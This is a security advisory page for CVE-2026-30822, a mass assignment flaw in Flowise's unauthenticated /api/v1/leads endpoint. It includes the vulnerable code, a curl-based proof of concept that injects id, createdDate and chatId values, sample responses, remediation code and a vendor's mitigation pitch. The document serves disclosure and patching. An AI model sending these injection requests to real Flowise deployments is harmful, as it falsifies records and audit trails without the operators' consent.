CVE-2026-30822 — flowise
HIGHCVE-2026-30822 is a high-severity (CVSS 7.7) CWE-915 vulnerability in flowise. EPSS puts its 30-day exploitation probability at 12.9% (96th percentile). A fix is available for flowise — see the affected versions and patch details below.
Flowise: Mass Assignment in `/api/v1/leads` Endpoint
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-30822.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
CVE-2026-30822 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 378,156 CVEs with a current EPSS score, this one falls in the 10–50% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
flowisenpmDescription
Summary
A Mass Assignment vulnerability in the /api/v1/leads endpoint allows any unauthenticated user to control internal entity fields (id, createdDate, chatId) by including them in the request body.
The endpoint uses Object.assign() to copy all properties from the request body to the Lead entity without any input validation or field filtering. This allows attackers to bypass auto-generated fields and inject arbitrary values.
| Field | Value |
|---|---|
| Vulnerability Type | Mass Assignment |
| CWE ID | CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes |
| Authentication Required | None |
| Affected Endpoint | POST /api/v1/leads |
Details
Root Cause
The vulnerability exists in /packages/server/src/services/leads/index.ts at lines 27-28:
// File: /packages/server/src/services/leads/index.ts
// Lines 23-38
const createLead = async (body: Partial<ILead>) => {
try {
const chatId = body.chatId ?? uuidv4()
const newLead = new Lead()
Object.assign(newLead, body) // ← VULNERABILITY: All properties copied!
Object.assign(newLead, { chatId })
const appServer = getRunningExpressApp()
const lead = appServer.AppDataSource.getRepository(Lead).create(newLead)
const dbResponse = await appServer.AppDataSource.getRepository(Lead).save(lead)
return dbResponse
} catch (error) {
throw new InternalFlowiseError(...)
}
}
The Object.assign(newLead, body) on line 28 copies ALL properties from the request body to the Lead entity, including:
id- The primary key (should be auto-generated)createdDate- The creation timestamp (should be auto-generated)chatId- The chat identifier
Lead Entity Definition
The Lead entity at /packages/server/src/database/entities/Lead.ts uses TypeORM decorators that should auto-generate these fields:
// File: /packages/server/src/database/entities/Lead.ts
@Entity()
export class Lead implements ILead {
@PrimaryGeneratedColumn('uuid') // Should be auto-generated!
id: string
@Column()
name?: string
@Column()
email?: string
@Column()
phone?: string
@Column()
chatflowid: string
@Column()
chatId: string
@CreateDateColumn() // Should be auto-generated!
createdDate: Date
}
However, Object.assign() overwrites these fields before they are saved, bypassing the auto-generation.
Why the Endpoint is Publicly Accessible
The /api/v1/leads endpoint is whitelisted in /packages/server/src/utils/constants.ts:
// File: /packages/server/src/utils/constants.ts
// Line 20
export const WHITELIST_URLS = [
// ... other endpoints ...
'/api/v1/leads', // ← No authentication required
// ... more endpoints ...
]
Proof of Concept
<img width="1585" height="817" alt="Screenshot 2025-12-26 at 2 28 00 PM" src="https://github.com/user-attachments/assets/807984e7-ae4f-4e8a-85b7-057d6ac42ff5" />Prerequisites
- Docker and Docker Compose installed
- curl installed
Step 1: Start Flowise
Create a docker-compose.yml:
services:
flowise:
image: flowiseai/flowise:latest
restart: unless-stopped
environment:
- PORT=3000
- DATABASE_PATH=/root/.flowise
- DATABASE_TYPE=sqlite
- CORS_ORIGINS=*
- DISABLE_FLOWISE_TELEMETRY=true
ports:
- '3000:3000'
volumes:
- flowise_data:/root/.flowise
entrypoint: /bin/sh -c "sleep 3; flowise start"
volumes:
flowise_data:
Start the container:
docker compose up -d
# Wait for Flowise to be ready (about 1-2 minutes)
curl http://localhost:3000/api/v1/ping
Step 2: Baseline Test - Normal Lead Creation
First, create a normal lead to see expected behavior:
curl -X POST http://localhost:3000/api/v1/leads \
-H "Content-Type: application/json" \
-d '{
"chatflowid": "normal-chatflow-123",
"name": "Normal User",
"email": "[email protected]",
"phone": "555-0000"
}'
Expected Response (normal behavior):
{
"id": "018b23e3-d6cb-4dc5-a276-922a174b44fd",
"name": "Normal User",
"email": "[email protected]",
"phone": "555-0000",
"chatflowid": "normal-chatflow-123",
"chatId": "auto-generated-uuid",
"createdDate": "2025-12-26T06:20:39.000Z"
}
Note: The id and createdDate are auto-generated by the server.
Step 3: Exploit - Inject Custom ID
Now inject a custom id:
curl -X POST http://localhost:3000/api/v1/leads \
-H "Content-Type: application/json" \
-d '{
"chatflowid": "attacker-chatflow-456",
"name": "Attacker",
"email": "[email protected]",
"phone": "555-EVIL",
"id": "aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee"
}'
Actual Response (vulnerability confirmed):
{
"id": "aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee",
"name": "Attacker",
"email": "[email protected]",
"phone": "555-EVIL",
"chatflowid": "attacker-chatflow-456",
"chatId": "auto-generated-uuid",
"createdDate": "2025-12-26T06:20:40.000Z"
}
⚠️ The attacker-controlled id was accepted!
Step 4: Exploit - Inject Custom Timestamp
Inject a fake createdDate:
curl -X POST http://localhost:3000/api/v1/leads \
-H "Content-Type: application/json" \
-d '{
"chatflowid": "timestamp-test-789",
"name": "Time Traveler",
"email": "[email protected]",
"createdDate": "1970-01-01T00:00:00.000Z"
}'
Actual Response (vulnerability confirmed):
{
"id": "some-auto-generated-uuid",
"name": "Time Traveler",
"email": "[email protected]",
"chatflowid": "timestamp-test-789",
"chatId": "auto-generated-uuid",
"createdDate": "1970-01-01T00:00:00.000Z"
}
⚠️ The attacker-controlled timestamp from 1970 was accepted!
Step 5: Exploit - Combined Mass Assignment
Inject multiple fields at once:
curl -X POST http://localhost:3000/api/v1/leads \
-H "Content-Type: application/json" \
-d '{
"chatflowid": "any-chatflow-attacker-wants",
"name": "Mass Assignment Attacker",
"email": "[email protected]",
"phone": "555-HACK",
"id": "11111111-2222-3333-4444-555555555555",
"createdDate": "2000-01-01T12:00:00.000Z",
"chatId": "custom-chat-id-injected"
}'
Actual Response (vulnerability confirmed):
{
"id": "11111111-2222-3333-4444-555555555555",
"name": "Mass Assignment Attacker",
"email": "[email protected]",
"phone": "555-HACK",
"chatflowid": "any-chatflow-attacker-wants",
"chatId": "custom-chat-id-injected",
"createdDate": "2000-01-01T12:00:00.000Z"
}
⚠️ ALL three internal fields (id, createdDate, chatId) were controlled by the attacker!
Verification
The exploit succeeds because:
- ✅ HTTP 200 response (request accepted)
- ✅
idfield contains attacker-controlled UUID - ✅
createdDatefield contains attacker-controlled timestamp - ✅
chatIdfield contains attacker-controlled string - ✅ No authentication headers were sent
Impact
Who is Affected?
- All Flowise deployments that use the leads feature
- Both open-source and enterprise versions
- Any system that relies on lead data integrity
Attack Scenarios
| Scenario | Impact |
|---|---|
| ID Collision Attack | Attacker creates leads with specific UUIDs, potentially overwriting existing records or causing database conflicts |
| Audit Trail Manipulation | Attacker sets fake createdDate values to hide malicious activity or manipulate reporting |
| Data Integrity Violation | Internal fields that should be server-controlled are now user-controlled |
| Chatflow Association | Attacker can link leads to arbitrary chatflows they don't own |
Severity Assessment
While this vulnerability doesn't directly expose sensitive data (unlike the IDOR vulnerability), it violates the principle that internal/auto-generated fields should not be user-controllable. This can lead to:
- Data integrity issues
- Potential business logic bypasses
- Audit/compliance concerns
- Foundation for chained attacks
Recommended Fix
Option 1: Whitelist Allowed Fields (Recommended)
Only copy explicitly allowed fields from the request body:
const createLead = async (body: Partial<ILead>) => {
try {
const chatId = body.chatId ?? uuidv4()
const newLead = new Lead()
// ✅ Only copy allowed fields
const allowedFields = ['chatflowid', 'name', 'email', 'phone']
for (const field of allowedFields) {
if (body[field] !== undefined) {
newLead[field] = body[field]
}
}
newLead.chatId = chatId
// Let TypeORM auto-generate id and createdDate
const appServer = getRunningExpressApp()
const lead = appServer.AppDataSource.getRepository(Lead).create(newLead)
const dbResponse = await appServer.AppDataSource.getRepository(Lead).save(lead)
return dbResponse
} catch (error) {
throw new InternalFlowiseError(...)
}
}
Option 2: Use Destructuring with Explicit Fields
const createLead = async (body: Partial<ILead>) => {
try {
// ✅ Only extract allowed fields
const { chatflowid, name, email, phone } = body
const chatId = body.chatId ?? uuidv4()
const appServer = getRunningExpressApp()
const lead = appServer.AppDataSource.getRepository(Lead).create({
chatflowid,
name,
email,
phone,
chatId
// id and createdDate will be auto-generated
})
const dbResponse = await appServer.AppDataSource.getRepository(Lead).save(lead)
return dbResponse
} catch (error) {
throw new InternalFlowiseError(...)
}
}
Option 3: Use class-transformer with @Exclude()
Add decorators to the Lead entity to exclude sensitive fields from assignment:
import { Exclude } from 'class-transformer'
@Entity()
export class Lead implements ILead {
@PrimaryGeneratedColumn('uuid')
@Exclude({ toClassOnly: true }) // ✅ Prevent assignment from request
id: string
// ... other fields ...
@CreateDateColumn()
@Exclude({ toClassOnly: true }) // ✅ Prevent assignment from request
createdDate: Date
}
Additional Recommendation
Consider applying the same fix to other endpoints that use Object.assign() with request bodies, such as:
/packages/server/src/utils/addChatMessageFeedback.ts(similar pattern)
Resources
- CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes
- OWASP: Mass Assignment Cheat Sheet
- OWASP API Security Top 10 - API6:2023 Unrestricted Access to Sensitive Business Flows
- Node.js Security Best Practices
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | flowise | all versions | 3.0.13npm install flowise@3.0.13 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for flowise, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update flowise to 3.0.13 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-30822 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-30822 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2026-30822. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2026-30822 in your dependencies?
O3 Security finds CVE-2026-30822 across npm dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.